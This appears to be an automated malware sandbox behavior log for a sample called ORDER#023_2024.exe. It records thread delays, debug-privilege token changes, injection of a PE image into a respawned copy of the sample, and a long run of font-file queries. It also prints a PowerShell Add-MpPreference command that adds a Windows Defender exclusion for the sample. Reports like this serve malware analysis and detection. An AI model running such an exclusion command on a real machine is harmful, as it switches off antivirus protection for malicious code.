Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 94110	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 93985	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 93860	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 93735	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 93610	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 93485	Jump to behavior

Source: ORDER#023_2024.exe, 00000005.00000002.2903870368.00000000012C8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllBRr

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\ORDER#023_2024.exe"
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\ORDER#023_2024.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

Memory written: C:\Users\user\Desktop\ORDER#023_2024.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\ORDER#023_2024.exe"	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process created: C:\Users\user\Desktop\ORDER#023_2024.exe "C:\Users\user\Desktop\ORDER#023_2024.exe"	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process created: C:\Users\user\Desktop\ORDER#023_2024.exe "C:\Users\user\Desktop\ORDER#023_2024.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Users\user\Desktop\ORDER#023_2024.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
